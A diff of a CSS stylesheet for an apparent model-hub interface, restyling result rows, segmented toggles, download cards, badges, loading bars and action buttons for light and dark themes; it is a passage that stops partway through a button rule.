+  html.dark .hub-page {
+    background-color: var(--background);
+  }
+
+  html.dark .hub-page [class*="bg-card"],
+  html.dark .hub-page [class*="bg-background"] {
+    background-color: var(--popover);
+  }
+
+  html.dark .hub-page .border-b,
+  html.dark .hub-page .border-r,
+  html.dark .hub-page .border-t.border-border {
+    border-color: color-mix(in srgb, var(--foreground) 5%, transparent);
+  }
+
+  html.dark .hub-page .hub-side-surface {
+    background-color: transparent;
+  }
+
+  html.dark .hub-page .hub-tag-soft,
+  html.dark .hub-page .hub-tag-meta {
+    background-color: transparent;
+    transition: background-color 160ms ease, border-color 160ms ease;
+  }
+
+  html.dark .hub-page .hub-tag-soft {
+    color: var(--muted-foreground);
+  }
+
+  html.dark .hub-page .hub-tag-meta {
+    color: var(--muted-foreground);
+  }
+
+  html.dark .hub-page .hub-tag-soft:hover,
+  html.dark .hub-page .hub-tag-meta:hover {
+    background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
+  }
+
+  /* List rows share the cards' flat neutral surface: no border, no gradient,
+     and a wide spread shadow that is present only in the light theme (dark gets
+     the flat surface with no shadow). The shadow paints freely past the content
+     column; the scroll pane (not the column) bounds it. */
+  .hub-page .hub-result-row {
+    border: 0;
+    border-radius: 14px;
+    background-color: var(--card);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+    transition:
+      background-color 160ms ease,
+      box-shadow 180ms ease,
+      transform 180ms ease;
+  }
+
+  .hub-page .hub-result-row.hub-result-card {
+    border-radius: 16px;
+  }
+
+  .hub-page .hub-result-row:hover {
+    background-color: var(--card);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+  }
+
+  html:not(.dark) .hub-page .hub-result-row:hover {
+    transform: translateY(-1px);
+  }
+
+  html.dark .hub-page .hub-result-row {
+    background-color: color-mix(in srgb, var(--foreground) 7%, var(--background));
+    box-shadow: none;
+  }
+
+  html.dark .hub-page .hub-result-row:hover {
+    background-color: color-mix(in srgb, var(--foreground) 10%, var(--background));
+    box-shadow: none;
+  }
+
+  /* On-device rows reuse the result-row card but carry selection/active state:
+     a neutral tint for the inspected row and a success tint with a primary edge
+     for the model currently loaded. Discover rows never set these attributes. */
+  .hub-page .hub-result-row[data-selected="true"] {
+    background-color: color-mix(in srgb, var(--foreground) 5%, var(--card));
+  }
+
+  .hub-page .hub-result-row[data-active="true"] {
+    background-color: color-mix(in srgb, var(--status-success) 7%, var(--card));
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16), inset 2px 0 0 0 var(--primary);
+  }
+
+  html.dark .hub-page .hub-result-row[data-selected="true"] {
+    background-color: color-mix(in srgb, var(--foreground) 11%, var(--background));
+    box-shadow: none;
+  }
+
+  html.dark .hub-page .hub-result-row[data-active="true"] {
+    background-color: color-mix(in srgb, var(--status-success) 14%, var(--background));
+    box-shadow: inset 2px 0 0 0 var(--primary);
+  }
+
+  /* Recent-searches suggestion panel. The surface comes from
+     .menu-soft-surface; these rules add the row + control hover affordances
+     using the same neutral foreground mixes as the option menus and list
+     rows, so it reads as part of the same family. */
+  .hub-page .hub-recent-item {
+    transition: background-color 120ms ease;
+  }
+
+  .hub-page .hub-recent-item:hover {
+    background-color: color-mix(in srgb, var(--foreground) 6%, transparent);
+  }
+
+  html.dark .hub-page .hub-recent-item:hover {
+    background-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+  }
+
+  .hub-page .hub-recent-clear:hover,
+  .hub-page .hub-recent-remove:hover {
+    background-color: color-mix(in srgb, var(--foreground) 10%, transparent);
+  }
+
+  .hub-menu-instant {
+    animation: none !important;
+    transition: none !important;
+    transform: none !important;
+    --tw-translate-x: 0px !important;
+    --tw-translate-y: 0px !important;
+    --tw-scale-x: 1 !important;
+    --tw-scale-y: 1 !important;
+    translate: 0 0 !important;
+    user-select: none;
+    -webkit-user-select: none;
+    will-change: auto !important;
+  }
+
+  .hub-menu-instant.menu-soft-surface {
+    --menu-soft-blur: 18px;
+    --menu-soft-spread: -8px;
+  }
+
+  .hub-menu-instant [data-slot="select-item"]:focus,
+  .hub-menu-instant [data-slot="select-item"][data-highlighted],
+  .hub-menu-instant [role="option"][data-highlighted] {
+    background-color: color-mix(in srgb, var(--foreground) 6%, transparent);
+    color: var(--foreground);
+  }
+
+  html.dark .hub-menu-instant [data-slot="select-item"]:focus,
+  html.dark .hub-menu-instant [data-slot="select-item"][data-highlighted],
+  html.dark .hub-menu-instant [role="option"][data-highlighted] {
+    background-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+    color: var(--foreground);
+  }
+
+  html.dark .hub-menu-instant {
+    background-color: #2e2f31 !important;
+  }
+
+  .hub-menu-instant *,
+  .hub-menu-instant *::before,
+  .hub-menu-instant *::after,
+  .hub-menu-trigger,
+  .hub-menu-trigger * {
+    animation: none !important;
+    transition: none !important;
+    user-select: none;
+    -webkit-user-select: none;
+  }
+
+  /* Canonical segmented-control look. Un-scoped from .hub-page so every
+     segmented toggle in the app (Hub Discover/On Device, Models/Datasets,
+     Unsloth/All, Recent/Name/Size, plus Settings + Train tabs) shares one
+     design: a soft track with a white, softly-shadowed sliding pill. */
+  html:not(.dark) .hub-tab-toggle {
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
+    border: 0;
+    box-shadow: none;
+  }
+
+  html.dark .hub-tab-toggle {
+    background-color: color-mix(in srgb, var(--foreground) 4.5%, transparent);
+    border: 0;
+    box-shadow: none;
+  }
+
+  html:not(.dark) .hub-tab-toggle-pill {
+    background-color: var(--background);
+    border: 0;
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+  }
+
+  html.dark .hub-tab-toggle-pill {
+    background-color: color-mix(in srgb, var(--foreground) 10%, transparent);
+    border: 0;
+    box-shadow: none;
+  }
+
+  html:not(.dark) .hub-page .catalog-row {
+    background-color: transparent;
+    border-color: transparent;
+    box-shadow: none;
+    transition: background-color 160ms ease;
+  }
+
+  html:not(.dark) .hub-page .catalog-row:hover {
+    background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
+  }
+
+  html:not(.dark) .hub-page .catalog-row[data-selected="true"] {
+    background-color: color-mix(in srgb, var(--foreground) 6%, transparent);
+  }
+
+  /* Currently-loaded checkpoint: a brand-green left stripe plus a faint
 	   green wash, orthogonal to the neutral selected tint so a row that is
 	   both loaded and selected still reads as loaded. */
-	html:not(.dark) .hub-page .catalog-row[data-active="true"] {
-		background-color: color-mix(in srgb, var(--status-success) 7%, transparent);
-		box-shadow: inset 2px 0 0 0 var(--primary);
-	}
+  html:not(.dark) .hub-page .catalog-row[data-active="true"] {
+    background-color: color-mix(in srgb, var(--status-success) 7%, transparent);
+    box-shadow: inset 2px 0 0 0 var(--primary);
+  }
 
-	html.dark .hub-page .catalog-row {
-		background-color: transparent;
-		border-color: transparent;
-		box-shadow: none;
-		transition: background-color 160ms ease;
-	}
+  html.dark .hub-page .catalog-row {
+    background-color: transparent;
+    border-color: transparent;
+    box-shadow: none;
+    transition: background-color 160ms ease;
+  }
 
-	html.dark .hub-page .catalog-row:hover {
-		background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
-	}
+  html.dark .hub-page .catalog-row:hover {
+    background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
+  }
 
-	html.dark .hub-page .catalog-row[data-selected="true"] {
-		background-color: color-mix(in srgb, var(--foreground) 7%, transparent);
-	}
-
-	html.dark .hub-page .catalog-row[data-active="true"] {
-		background-color: color-mix(in srgb, var(--status-success) 12%, transparent);
-		box-shadow: inset 2px 0 0 0 var(--primary);
-	}
+  html.dark .hub-page .catalog-row[data-selected="true"] {
+    background-color: color-mix(in srgb, var(--foreground) 7%, transparent);
+  }
 
+  html.dark .hub-page .catalog-row[data-active="true"] {
+    background-color: color-mix(in srgb, var(--status-success) 12%, transparent);
+    box-shadow: inset 2px 0 0 0 var(--primary);
+  }
 }
 
 @layer utilities {
-	.hub-tag-soft,
-	.hub-tag-meta {
-		@apply min-h-[26px] rounded-full bg-muted/70 ring-1 ring-inset;
-		--tw-ring-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
-	}
+  .hub-tag-soft,
+  .hub-tag-meta {
+    @apply min-h-[26px] rounded-full bg-muted/70 ring-1 ring-inset;
+    --tw-ring-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
+  }
 
-	.dark .hub-tag-soft,
-	.dark .hub-tag-meta {
-		@apply bg-white/[0.05] ring-white/[0.035];
-	}
-	.hub-download-card {
-		@apply flex w-full flex-col gap-2 rounded-[22px] p-2;
-		background-color: color-mix(in srgb, var(--foreground) 3%, transparent);
-		border: 1px solid color-mix(in srgb, var(--foreground) 5.5%, transparent);
-		box-shadow: none;
-	}
+  .dark .hub-tag-soft,
+  .dark .hub-tag-meta {
+    @apply bg-white/[0.05] ring-white/[0.035];
+  }
+  .hub-download-card {
+    @apply flex w-full flex-col gap-2 rounded-[22px] p-2;
+    background-color: color-mix(in srgb, var(--foreground) 3%, transparent);
+    border: 1px solid color-mix(in srgb, var(--foreground) 5.5%, transparent);
+    box-shadow: none;
+  }
 
-	/* Single-row state (variant + actions only) reads as a full pill. */
-	.hub-download-card:not(:has(> :nth-child(2))) {
-		border-radius: 9999px;
-	}
+  .hub-download-card:not(:has(> :nth-child(2))) {
+    border-radius: 9999px;
+  }
 
-	.dark .hub-download-card {
-		background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
-		border: 1px solid color-mix(in srgb, var(--foreground) 5.5%, transparent);
-		box-shadow: none;
-	}
+  .dark .hub-download-card {
+    background-color: color-mix(in srgb, var(--foreground) 3.5%, transparent);
+    border: 1px solid color-mix(in srgb, var(--foreground) 5.5%, transparent);
+    box-shadow: none;
+  }
 
-	.hub-download-panel {
-		border-radius: 20px;
-		background-color: var(--popover);
-		border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);
-		box-shadow:
-			0 1px 2px color-mix(in srgb, var(--foreground) 7%, transparent),
-			0 18px 48px -12px color-mix(in srgb, var(--foreground) 22%, transparent);
-	}
+  .hub-download-panel {
+    border-radius: 20px;
+    background-color: var(--popover);
+    border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+  }
 
-	.dark .hub-download-panel {
-		border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
-		box-shadow:
-			0 1px 2px rgba(0, 0, 0, 0.4),
-			0 20px 56px -12px rgba(0, 0, 0, 0.6);
-	}
+  .dark .hub-download-panel {
+    border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+    box-shadow: none;
+  }
 
-	.hub-download-fab {
-		position: relative;
-		display: inline-flex;
-		width: 2.75rem;
-		height: 2.75rem;
-		cursor: pointer;
-		align-items: center;
-		justify-content: center;
-		border-radius: 9999px;
-		color: var(--muted-foreground);
-		background-color: var(--popover);
-		border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);
-		box-shadow:
-			0 1px 2px color-mix(in srgb, var(--foreground) 7%, transparent),
-			0 12px 32px -10px color-mix(in srgb, var(--foreground) 22%, transparent);
-		transition:
-			color 150ms ease,
-			background-color 150ms ease,
-			box-shadow 150ms ease,
-			transform 150ms ease;
-	}
+  .hub-download-fab {
+    position: relative;
+    display: inline-flex;
+    width: 2.75rem;
+    height: 2.75rem;
+    cursor: pointer;
+    align-items: center;
+    justify-content: center;
+    border-radius: 9999px;
+    color: var(--muted-foreground);
+    background-color: var(--popover);
+    border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+    transition: color 150ms ease, background-color 150ms ease, box-shadow 150ms
+      ease, transform 150ms ease;
+  }
 
-	.hub-download-fab:hover {
-		color: var(--foreground);
-		transform: translateY(-1px);
-		box-shadow:
-			0 2px 4px color-mix(in srgb, var(--foreground) 8%, transparent),
-			0 16px 40px -10px color-mix(in srgb, var(--foreground) 26%, transparent);
-	}
+  .hub-download-fab:hover {
+    color: var(--foreground);
+    transform: translateY(-1px);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+  }
 
-	.dark .hub-download-fab {
-		border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
-		box-shadow:
-			0 1px 2px rgba(0, 0, 0, 0.4),
-			0 14px 36px -10px rgba(0, 0, 0, 0.6);
-	}
+  .dark .hub-download-fab {
+    border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+    box-shadow: none;
+  }
 
-	.dark .hub-download-fab:hover {
-		box-shadow:
-			0 2px 4px rgba(0, 0, 0, 0.45),
-			0 18px 44px -10px rgba(0, 0, 0, 0.65);
-	}
+  .dark .hub-download-fab:hover {
+    box-shadow: none;
+  }
 
-	.hub-download-fab-badge {
-		position: absolute;
-		top: -3px;
-		right: -3px;
-		display: inline-flex;
-		min-width: 1.125rem;
-		height: 1.125rem;
-		align-items: center;
-		justify-content: center;
-		border-radius: 9999px;
-		padding-inline: 0.3125rem;
-		background-color: var(--status-success);
-		color: var(--primary-foreground);
-		font-size: 10.5px;
-		font-weight: 600;
-		line-height: 1;
-		font-variant-numeric: tabular-nums;
-		border: 2px solid var(--popover);
-	}
+  .hub-download-fab-badge {
+    position: absolute;
+    top: -3px;
+    right: -3px;
+    display: inline-flex;
+    width: 1.125rem;
+    min-width: 1.125rem;
+    height: 1.125rem;
+    align-items: center;
+    justify-content: center;
+    border-radius: 9999px;
+    padding-inline: 0;
+    background-color: var(--status-success);
+    color: var(--primary-foreground);
+    font-size: 10.5px;
+    font-weight: 600;
+    line-height: 1;
+    font-variant-numeric: tabular-nums;
+    border: 2px solid var(--popover);
+  }
+
+  .hub-page .hub-carousel {
+    scrollbar-width: none !important;
+    -ms-overflow-style: none !important;
+    overflow-y: hidden;
+    -webkit-overflow-scrolling: touch;
+    overscroll-behavior-x: contain;
+  }
+
+  .hub-page .hub-carousel::-webkit-scrollbar {
+    display: none !important;
+    width: 0 !important;
+    height: 0 !important;
+  }
+
+  .hub-page .hub-carousel-arrow {
+    background-color: color-mix(in srgb, var(--background) 80%, transparent);
+    backdrop-filter: blur(10px);
+    -webkit-backdrop-filter: blur(10px);
+    border: 1px solid color-mix(in srgb, var(--foreground) 4%, transparent);
+    color: var(--foreground);
+    box-shadow: 0 2px 8px -2px rgba(0, 0, 0, 0.16);
+    transition: opacity 160ms ease, background-color 160ms ease, border-color
+      160ms ease;
+  }
+
+  .hub-page .hub-carousel-arrow:hover {
+    background-color: var(--background);
+    border-color: color-mix(in srgb, var(--foreground) 8%, transparent);
+  }
 }
 
 @layer base {
-	.hub-avatar-tile {
-		box-shadow: 0 0 0 0.5px color-mix(in srgb, var(--foreground) 6%, transparent);
-	}
+  .hub-avatar-tile {
+    /* Frame colour for the hairline drawn by ::after. Light theme keeps it a
+       soft, low-contrast value that cleanly frames white logo tiles; the
+       .dark override below lifts it against the dark surfaces. */
+    --hub-avatar-corner-edge: color-mix(
+      in srgb,
+      var(--foreground) 12%,
+      transparent
+    );
+    position: relative;
+    box-shadow: none;
+  }
 
-	.dark .hub-avatar-tile {
-		box-shadow: 0 0 0 0.5px color-mix(in srgb, var(--foreground) 8%, transparent);
-	}
+  .hub-avatar-tile::after {
+    position: absolute;
+    inset: 0;
+    border: 1px solid var(--hub-avatar-corner-edge);
+    border-radius: inherit;
+    content: "";
+    opacity: 0.92;
+    pointer-events: none;
+    -webkit-mask:
+      linear-gradient(
+        90deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      top left / 82% 34% no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      top left / 34% 82% no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      bottom right / 82% 34% no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      bottom right / 34% 82% no-repeat;
+    mask:
+      linear-gradient(
+        90deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      top left / 82% 34% no-repeat,
+      linear-gradient(
+        180deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      top left / 34% 82% no-repeat,
+      linear-gradient(
+        270deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      bottom right / 82% 34% no-repeat,
+      linear-gradient(
+        0deg,
+        #000 0 38%,
+        rgb(0 0 0 / 72%) 68%,
+        transparent 100%
+      )
+      bottom right / 34% 82% no-repeat;
+  }
 
-	/* Verified badge: solid badge shape with a check-shaped hole punched
+  /* Light theme renders the frame as a single smooth hairline. The corner-mask
+     "bracket" treatment (kept for the dark surfaces below) stair-steps along
+     the rounded corners on light backgrounds and reads as pixelated, so it is
+     dropped here in favour of a clean, anti-aliased full-perimeter ring. */
+  html:not(.dark) .hub-avatar-tile::after {
+    -webkit-mask: none;
+    mask: none;
+  }
+
+  .dark .hub-avatar-tile {
+    --hub-avatar-corner-edge: color-mix(
+      in srgb,
+      var(--foreground) 58%,
+      transparent
+    );
+  }
+
+  /* Verified badge: solid badge shape with a check-shaped hole punched
 	   through, so whatever sits behind shows through the check. The badge
 	   fill follows currentColor (so `text-primary` makes it Unsloth green;
 	   any text-* utility recolors it). Use as: `<span class="hub-verified-badge
 	   size-4 text-primary" />`. */
-	.hub-verified-badge {
-		display: inline-block;
-		background-color: currentColor;
-		mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><defs><mask id='c'><rect width='24' height='24' fill='white'/><path d='m8.75 12.5 2.5 2.5 4.25-5.25' stroke='black' stroke-width='1.85' stroke-linecap='round' stroke-linejoin='round' fill='none'/></mask></defs><path d='M8.603 3.799A4.49 4.49 0 0 1 12 2.25c1.357 0 2.573.6 3.397 1.549a4.49 4.49 0 0 1 3.498 1.307 4.491 4.491 0 0 1 1.307 3.497A4.49 4.49 0 0 1 21.75 12a4.49 4.49 0 0 1-1.549 3.397 4.491 4.491 0 0 1-1.307 3.497 4.491 4.491 0 0 1-3.497 1.307A4.49 4.49 0 0 1 12 21.75a4.49 4.49 0 0 1-3.397-1.549 4.49 4.49 0 0 1-3.498-1.306 4.491 4.491 0 0 1-1.307-3.498A4.49 4.49 0 0 1 2.25 12c0-1.357.6-2.573 1.549-3.397a4.49 4.49 0 0 1 1.307-3.497 4.49 4.49 0 0 1 3.497-1.307Z' fill='white' mask='url(%23c)'/></svg>") center / contain no-repeat;
-		-webkit-mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><defs><mask id='c'><rect width='24' height='24' fill='white'/><path d='m8.75 12.5 2.5 2.5 4.25-5.25' stroke='black' stroke-width='1.85' stroke-linecap='round' stroke-linejoin='round' fill='none'/></mask></defs><path d='M8.603 3.799A4.49 4.49 0 0 1 12 2.25c1.357 0 2.573.6 3.397 1.549a4.49 4.49 0 0 1 3.498 1.307 4.491 4.491 0 0 1 1.307 3.497A4.49 4.49 0 0 1 21.75 12a4.49 4.49 0 0 1-1.549 3.397 4.491 4.491 0 0 1-1.307 3.497 4.491 4.491 0 0 1-3.497 1.307A4.49 4.49 0 0 1 12 21.75a4.49 4.49 0 0 1-3.397-1.549 4.49 4.49 0 0 1-3.498-1.306 4.491 4.491 0 0 1-1.307-3.498A4.49 4.49 0 0 1 2.25 12c0-1.357.6-2.573 1.549-3.397a4.49 4.49 0 0 1 1.307-3.497 4.49 4.49 0 0 1 3.497-1.307Z' fill='white' mask='url(%23c)'/></svg>") center / contain no-repeat;
-	}
+  .hub-verified-badge {
+    display: inline-block;
+    background-color: currentColor;
+    mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><defs><mask id='c'><rect width='24' height='24' fill='white'/><path d='m8.75 12.5 2.5 2.5 4.25-5.25' stroke='black' stroke-width='1.85' stroke-linecap='round' stroke-linejoin='round' fill='none'/></mask></defs><path d='M8.603 3.799A4.49 4.49 0 0 1 12 2.25c1.357 0 2.573.6 3.397 1.549a4.49 4.49 0 0 1 3.498 1.307 4.491 4.491 0 0 1 1.307 3.497A4.49 4.49 0 0 1 21.75 12a4.49 4.49 0 0 1-1.549 3.397 4.491 4.491 0 0 1-1.307 3.497 4.491 4.491 0 0 1-3.497 1.307A4.49 4.49 0 0 1 12 21.75a4.49 4.49 0 0 1-3.397-1.549 4.49 4.49 0 0 1-3.498-1.306 4.491 4.491 0 0 1-1.307-3.498A4.49 4.49 0 0 1 2.25 12c0-1.357.6-2.573 1.549-3.397a4.49 4.49 0 0 1 1.307-3.497 4.49 4.49 0 0 1 3.497-1.307Z' fill='white' mask='url(%23c)'/></svg>")
+      center / contain no-repeat;
+    -webkit-mask: url("data:image/svg+xml;utf8,<svg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 24 24'><defs><mask id='c'><rect width='24' height='24' fill='white'/><path d='m8.75 12.5 2.5 2.5 4.25-5.25' stroke='black' stroke-width='1.85' stroke-linecap='round' stroke-linejoin='round' fill='none'/></mask></defs><path d='M8.603 3.799A4.49 4.49 0 0 1 12 2.25c1.357 0 2.573.6 3.397 1.549a4.49 4.49 0 0 1 3.498 1.307 4.491 4.491 0 0 1 1.307 3.497A4.49 4.49 0 0 1 21.75 12a4.49 4.49 0 0 1-1.549 3.397 4.491 4.491 0 0 1-1.307 3.497 4.491 4.491 0 0 1-3.497 1.307A4.49 4.49 0 0 1 12 21.75a4.49 4.49 0 0 1-3.397-1.549 4.49 4.49 0 0 1-3.498-1.306 4.491 4.491 0 0 1-1.307-3.498A4.49 4.49 0 0 1 2.25 12c0-1.357.6-2.573 1.549-3.397a4.49 4.49 0 0 1 1.307-3.497 4.49 4.49 0 0 1 3.497-1.307Z' fill='white' mask='url(%23c)'/></svg>")
+      center / contain no-repeat;
+  }
 
+  @keyframes hub-loading-sweep {
+    0% {
+      opacity: 0;
+      transform: translate3d(-120%, 0, 0);
+    }
 
-	@keyframes hub-loading-sweep {
-		0% {
-			opacity: 0;
-			transform: translate3d(-120%, 0, 0);
-		}
+    16% {
+      opacity: 0.92;
+    }
 
-		16% {
-			opacity: 0.92;
-		}
+    78% {
+      opacity: 0.92;
+    }
 
-		78% {
-			opacity: 0.92;
-		}
+    100% {
+      opacity: 0;
+      transform: translate3d(520%, 0, 0);
+    }
+  }
 
-		100% {
-			opacity: 0;
-			transform: translate3d(520%, 0, 0);
-		}
-	}
+  .hub-loading-bar {
+    pointer-events: none;
+    position: relative;
+    overflow: hidden;
+    width: 100%;
+    height: 3px;
+  }
 
-	.hub-loading-bar {
-		pointer-events: none;
-		position: relative;
-		overflow: hidden;
-		width: 100%;
-		height: 3px;
-	}
+  .hub-loading-bar::after {
+    content: "";
+    display: none;
+    position: absolute;
+    inset-block: 0;
+    left: 0;
+    width: 36%;
+    background: linear-gradient(
+      90deg,
+      transparent,
+      color-mix(in srgb, var(--foreground) 20%, transparent),
+      color-mix(in srgb, var(--foreground) 58%, transparent),
+      color-mix(in srgb, var(--foreground) 20%, transparent),
+      transparent
+    );
+    will-change: opacity, transform;
+  }
 
-	.hub-loading-bar::after {
-		content: "";
-		display: none;
-		position: absolute;
-		inset-block: 0;
-		left: 0;
-		width: 36%;
-		background: linear-gradient(90deg,
-				transparent,
-				color-mix(in srgb, var(--foreground) 20%, transparent),
-				color-mix(in srgb, var(--foreground) 58%, transparent),
-				color-mix(in srgb, var(--foreground) 20%, transparent),
-				transparent);
-		will-change: opacity, transform;
-	}
+  html.dark .hub-loading-bar::after {
+    background: linear-gradient(
+      90deg,
+      transparent,
+      color-mix(in srgb, var(--foreground) 22%, transparent),
+      color-mix(in srgb, var(--foreground) 60%, transparent),
+      color-mix(in srgb, var(--foreground) 22%, transparent),
+      transparent
+    );
+  }
 
-	html.dark .hub-loading-bar::after {
-		background: linear-gradient(90deg,
-				transparent,
-				color-mix(in srgb, var(--foreground) 22%, transparent),
-				color-mix(in srgb, var(--foreground) 60%, transparent),
-				color-mix(in srgb, var(--foreground) 22%, transparent),
-				transparent);
-	}
+  .hub-loading-bar[data-active="true"]::after {
+    display: block;
+    animation: hub-loading-sweep 3s cubic-bezier(0.22, 0.72, 0.18, 1) infinite;
+  }
 
-	.hub-loading-bar[data-active="true"]::after {
-		display: block;
-		animation: hub-loading-sweep 3s cubic-bezier(0.22, 0.72, 0.18, 1) infinite;
-	}
+  @media (prefers-reduced-motion: reduce) {
+    .hub-loading-bar[data-active="true"]::after {
+      animation-duration: 3s !important;
+      animation-iteration-count: infinite !important;
+    }
+  }
 
-	@media (prefers-reduced-motion: reduce) {
-		.hub-loading-bar[data-active="true"]::after {
-			animation-duration: 3s !important;
-			animation-iteration-count: infinite !important;
-		}
-	}
-
-	/* README markdown can be thousands of nodes. Keep its paint/layout work
+  /* README markdown can be thousands of nodes. Keep its paint/layout work
 	   scoped so unrelated overlays, like the sidebar account menu, do less
 	   route-wide recalculation while the Hub is open. */
-	.hub-readme-prose {
-		content-visibility: auto;
-		contain-intrinsic-size: auto 640px;
-	}
+  .hub-readme-prose {
+    content-visibility: auto;
+    contain-intrinsic-size: auto 640px;
+  }
 
-	.hub-readme-prose > * {
-		content-visibility: auto;
-		contain-intrinsic-size: auto 140px;
-	}
+  .hub-readme-prose > * {
+    content-visibility: auto;
+    contain-intrinsic-size: auto 140px;
+  }
 
-	.hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) {
-		display: flex;
-		flex-wrap: wrap;
-		align-items: center;
-		gap: 0.5rem;
-	}
+  .hub-readme-prose > hr:first-child {
+    display: none;
+  }
 
-	.hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) > br {
-		display: none;
-	}
+  .hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) {
+    display: flex;
+    flex-wrap: wrap;
+    align-items: center;
+    gap: 0.5rem;
+  }
 
-	.hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) > a {
-		display: inline-flex;
-		align-items: center;
-	}
+  .hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) > br {
+    display: none;
+  }
 
-	.hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) img {
-		margin-block: 0;
-	}
+  .hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) > a {
+    display: inline-flex;
+    align-items: center;
+  }
 
-	/* Inspector action pills (Download / Run / Train / Cancel) for the hub
+  .hub-readme-prose :is(p, div):has(> a:nth-of-type(2) > img) img {
+    margin-block: 0;
+  }
+
+  /* Inspector action pills (Download / Run / Train / Cancel) for the hub
 	   inspector card. Centralized so all three sections (GGUF, safetensors,
 	   datasets) stay in lock-step on type scale, padding, hover surface, and
 	   the 16px icon size — mirrors the pattern used for `.sidebar-nav-btn`.
 	   Width and disabled tint are layered inline by callers (some buttons
 	   are w-24 in a pair, some are w-28 standalone). Raw CSS rather than
 	   @apply so the cascade is explicit and predictable. */
-	.hub-action-btn {
-		display: inline-flex;
-		height: 2.25rem;
-		cursor: pointer;
-		align-items: center;
-		justify-content: center;
-		gap: 0.5rem;
-		white-space: nowrap;
-		border-radius: 9999px;
-		background-color: transparent;
-		padding-left: 0.75rem;
-		padding-right: 0.75rem;
-		font-size: 13px;
-		font-weight: 500;
-		line-height: 18px;
-		letter-spacing: -0.025em;
-		color: var(--foreground);
-		transition: color 150ms, background-color 150ms;
-	}
+  .hub-action-btn {
+    display: inline-flex;
+    height: 2.25rem;
+    cursor: pointer;
+    align-items: center;
+    justify-content: center;
+    gap: 0.5rem;
+    white-space: nowrap;
+    border-radius: 9999px;
+    background-color: transparent;
+    padding-left: 0.75rem;
+    padding-right: 0.75rem;
+    font-size: 13px;
+    font-weight: 500;
+    line-height: 18px;
+    letter-spacing: -0.025em;
+    color: var(--foreground);
+    transition: color 150ms, background-color 150ms;
+  }
 
-	.hub-action-btn:hover:not(:disabled) {
-		background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
-	}
+  .hub-action-btn:hover:not(:disabled) {
+    background-color: color-mix(in srgb, var(--foreground) 4%, transparent);
+  }
 
-	.dark .hub-action-btn:hover:not(:disabled) {
-		background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
-	}
+  .dark .hub-action-btn:hover:not(:disabled) {
+    background-color: color-mix(in srgb, var(--foreground) 5%, transparent);
+  }
 
-	.hub-action-btn:disabled {
-		cursor: not-allowed;
-	}
+  .hub-action-btn:disabled {
+    cursor: not-allowed;
+  }
 
-	/* Every glyph inside a hub action button — explicit icon, spinner, or
+  /* Every glyph inside a hub action button — explicit icon, spinner, or
 	   embedded SVG — locks to 16px so swapping icons or replacing the
 	   spinner can't drift the layout. */
-	.hub-action-btn svg {
-		width: 1rem;
-		height: 1rem;
-		flex-shrink: 0;
-	}
+  .hub-action-btn svg {
+    width: 1rem;
+    height: 1rem;
+    flex-shrink: 0;
+  }
 
-	/* Primary "Run" action — confirms loading/running a model. Pill shape
+  /* Primary "Run" action — confirms loading/running a model. Pill shape
 	   (rounded-full) so it reads as the unmistakable CTA in a row of
 	   ghost actions and matches the live-model status-success token used
 	   elsewhere in the app. Same h-9 geometry, 13px
 	   medium type, tracking-tight, and 16px icon slot as .hub-action-btn
 	   so the height aligns with adjacent ghost buttons. */
-	.hub-run-action-btn {
-		display: inline-flex;
-		height: 2.25rem;
-		cursor: pointer;
-		align-items: center;
-		justify-content: center;
-		gap: 0.4rem;
-		white-space: nowrap;
-		border-radius: 9999px;
-		background-color: var(--status-success);
-		padding-left: 1rem;
